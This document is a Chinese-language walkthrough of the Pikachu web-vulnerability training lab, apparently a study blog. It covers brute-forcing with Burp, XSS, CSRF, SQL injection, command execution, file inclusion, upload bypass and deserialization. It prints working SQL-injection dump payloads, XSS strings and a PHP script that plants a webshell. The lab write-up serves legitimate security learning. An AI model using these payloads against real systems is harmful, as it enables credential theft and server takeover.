暴力破解
知识点
Burpsuite暴力破解的四种方式
Sniper 狙击手
一个参数时使用,按照字典顺序依次爆破
Battering ram 攻城锤
多个参数使用一个字典,每个参数的值都一样
Pitchfork 草耙
多个参数分别使用多个字典,按字典顺序依次同步爆破
Cluster bomb 集束炸弹
多个参数分别使用多个字典,尝试每一种组合
Token绕过
下一次Token可知的情况下才能绕过,从前端找到Token的位置,用Burpsuite的Grep-Extract模块自动取Token值并进行爆破(线程设置为1可以实现Token一次一换)
靶场
PASS-01基于表单的暴力破解
随便填写,抓包,看内容,参数有两个,username和password,发送到Intruder模块进行爆破准备
为变量添加变量标识符,并选择集束炸弹模式,分别导入字典,进行爆破,发现Length异常数据,验证是否为用户名密码
登陆成功
PASS-02 验证码绕过(on server)
正常输入验证码,抓包看看
放到Repeater模块里重放几次,发现并没有提示验证码错误,说明验证码是可以重复使用的,那就把代理设置为拦截状态,然后和PASS01一样爆破就行了
PASS-03 验证码绕过(on client)
将代理设置为拦截状态,前端仍然返回验证码错误,证明是前端校验,尝试禁用JS绕过
禁用JavaScript后验证码模块消失了,并且不再提示验证码错误,这样就可以正常爆破了
PASS-04 Token防爆破?
检查一下Login按钮,发现有一个hidden的input,名称为token,格式也是token的格式,所以怀疑是token发送到client,然后做验证,这里就可以用到Burpsuite的Grep-Extract模块了。
在Intruder的setting中找到Grep-Extract模块,点击Add,使用首位定位确定token值的位置,然后点击OK,并将Redirection设置为Always,到Resouce-pool里面将线程设置为1,表示一次一换,完成上述操作之后,就可以正常爆破啦
Cross-Site Scripting
知识点
XSS分类
反射型xss
后端代码接收用户输入处可以执行JS代码,并且未对用户输入做过滤
存储型xss
后端代码在反射型的基础上多了与数据库的交互,用户输入的数据被写入数据库中,当再次查询时,用户的JS代码就被执行
DOM型xss
与反射型XSS的区别在于,DOM型XSS是前端的问题,而不在后端代码
靶场
PASS-01 反射型XSS(GET)
输入kobe,给出反馈,尝试输入JS代码,但发现输入框有长度限制,可以检查输入框更改长度限制,也可以直接在URL拼接JS语句
成功执行
PASS-02 反射型XSS(POST)
这次触发Submit元素之后发现URL中没有参数和值的出现,说明不是GET类型传递,那就抓包看看有没有POST数据
在POST数据里写JS代码即可
PASS-03 存储型XSS
直接写payload
弹窗,再写入一条新的payload
刷新页面发现两个弹窗都弹出来了,说明是写进数据库了
PASS-04 DOM型XSS
检查一下前端代码,发现是个a元素,用户输入约束在href内,那就使用“和>闭合属性和标签,用onclick属性构造攻击,最后payload为#' οnclick=alert("xss")>,这样最终的语句就是<a href="#" οnclick=alert(1)>">what do you see?</a>
PASS-05 DOM型XSS-x
PASS-06 XSS盲打
先写payload,再登陆后台看看
管理员登陆后加载我们写入的payload,成功弹窗,这里配合xss平台可以实现cookie盗取
PASS-07 XSS过滤
多次测试可以知道,是< 和 script同时出现是匹配过滤,那就考虑将script变异
PASS-08 xss之htmlspecialchars
html实体编码是将符号转换为一种特殊编码,达到过滤的效果
从测试输入中可以知道‘没有被转义,所以使用’来闭合语句
PASS-09 xss之href输出
href可以执行javascript代码
PASS-10 xss之js输出
输入被动态的加载到了script标签中,那就先闭合这个script标签
CSRF
知识点
CSRF是指网站在用户进行操作的时候没有做验证和防范,导致某些操作可以无视用户直接通过URL进行通用执行。
靶场
PASS-01 CSRF(GET)
攻击者账号为vince,受害者账号为allen
更改vince的用户信息,抓包
可以看到没有对操作进行校验
直接提出来URL让allen访问,然后查看allen的用户信息
可以看到allen的账号信息也在访问URL后被更改了
PASS-02 CSRF(POST)
利用Burpsuite的CSRF插件构造攻击网页,诱导受害者点击,实际情况中可以做一个前端界面,伪装一下,这就涉及到钓鱼了
受害者在点击了按钮后用户信息就会被更改了
PASS-03 CSRF(TOKEN)
这关让我意识到Token确实是防止CSRF的好方法,但是网上好像有人的思路是:从前端获取到token,但是实战中我觉得很难实现
SQL注入
知识点
SQL注入的分类
SQL注入主要分为数字型和字符型两大类,但也有搜索型,编码型,GET型,POST型等等都是从不同角度来说了,纠结概念没有太大意义,只需要明白SQL注入的原理:计算机接收用户输入,并把输入数据当作SQL查询语句来运行,并给出输出,就可以了。其中从不同的技术角度还衍生出盲注,二次注入,头部注入,堆叠注入等等,分类标准不一,没有参考意义。
SQL注入常用的测试payload
探测注入点:
id=1'
id=1"
id=1 and 1=1
id=1 and 1=2
手工注入前戏:
id=1 order by n
id=1 union select 1,user(),...,database(),n
mysql 手工普通注入:
id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
id=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=xxx
id=1' union select 1,group_concat(username,'~',password),3 from xxx.xxx
报错注入:
username=aaaa' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'&password=123123&sex=&phonenum=&email=&add=&submit=submit
报错注入爆表:
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=123123&sex=&phonenum=&email=&add=&submit=submit
报错注入爆列:
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1) or '& '&password=123123&sex=&phonenum=&email=&add=&submit=submit
报错注入爆内容:
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1)or '&password=123123&sex=&phonenum=&email=&add=&submit=submit
靶场
PASS-01 数字型注入(POST)
加单引号报错说明存在注入点,尝试and 1=1,and 1=2判定注入点,常规order by ,union select步骤,可以弄出来库
PASS-02 字符型注入(GET)
这个和上一关差不多,直接用sqlmap跑了
跑库名
跑表名
跑列名
跑数据
PASS-03 搜索型注入
随便输一输符号,得到报错信息,得知有个%,加上在测
得知列数是3
接下来就是常规操作了
PASS-04 x型注入
和上面一样
PASS-05 insert/update注入
考点是报错注入,参考大佬文章~
https://blog.csdn.net/m0_46103905/article/details/132382657
Insert/update/delete型注入利用的是函数报错获取信息,不同于之前的union联合查询,这三种是操作,不是查询。
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
PASS-06 delete注入
依旧是报错注入
常用报错注入Payload
1. updatexml报错
and updatexml(1,concat(0x7e,(select user()),0x7e),1)
http://192.168.88.130/security/read.php?id=1 and
updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema='learn'),0x7e),1)
2. Extractvalue报错
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables linit 1),0x7e));
3. floor报错
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from
information_schema.tables group by x)a);
http://192.168.88.130/security/read.php?id=1 and
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from
information_schema.tables group by x)a);
PASS-07 头部注入
和常规注入一个样,只不过位置变成了UserAgent
payload如下:
'or updatexml(0x7e,concat(0x7e,version()),0x7e) or '
PASS-08 布尔盲注
payload
and length(database())>=7#
PASS-09 时间盲注
payload
RCE
知识点
管道符
|| 前面的执行和后面的执行异步,只有一个被执行,即前面执行不成功的情况下才执行后面的
&& 前面和后面执行结果同步,要么都执行,要么都不执行
| 两个都无条件执行
& 两个都无条件执行
命令执行
命令执行:执行系统命令
代码执行:执行代码语句或者函数
system(“”):直接执行操作系统命令,例如system(“ipconfig”)
区别:
exec 执行命令 ping.....
eval()执行函数 phpinfo();
靶场
PASS-01 exec "ping"
代码中调用系统命令执行ping命令,由于没有做过滤,所以可以管道符拼接命令
PASS-02 exec"eval"
输入phpinfo();,被接收执行
文件包含
知识点
包含即执行
本地包含
有文件
配合文件上传打组合拳
无文件
session
伪协议
日志文件
远程包含
构造远程URL
靶场
PASS-01本地文件包含
观察URL变化规律
包含file6.txt实现执行
PASS-02 远程文件包含
先写一个利用脚本
<?php
$myfile = fopen("test.php","w");
$txt = '<?php system($_GET[x];)?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
这个脚本的作用是在文件系统中创建一个php文件
然后在远程包含漏洞点访问这个文件,就可以实现写马子了
文件创建成功
后面就可以通过Webshell工具连接了,但是我连接不上,不知道哪里出了问题,但是步骤是这样的没错
文件下载
可以直接下载服务器文件
文件上传
知识点
如图
靶场
PASS-01 客户端check
前端验证,禁用JS即可上传成功,或者先将后缀改为jpg,然后再Burp拦截再改为php
PASS-02 MIME
更改MIME类型为image/jpg即可
PASS-03 getimagesize()
生成一下图片马
上传图片马,然后可以结合文件包含漏洞来使用
越权
靶场
PASS-01 水平越权
抓lucy的包,改为lili,就可以看lili的个人信息了
PASS-02垂直越权
我感觉这关不像垂直越权,像未授权访问或者CSRF更合适,因为是直接通过URL执行操作的
目录穿越
title文件可控,导致可以使用../../../进行目录穿越
敏感信息泄露
前端泄露测试账号
反序列化
序列化字串里构造JS弹窗
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:1:"S":1:{s:4:"test";s:30:"<script>alert('wuhu')</script>";}
XXE
payload
emo了,先不写了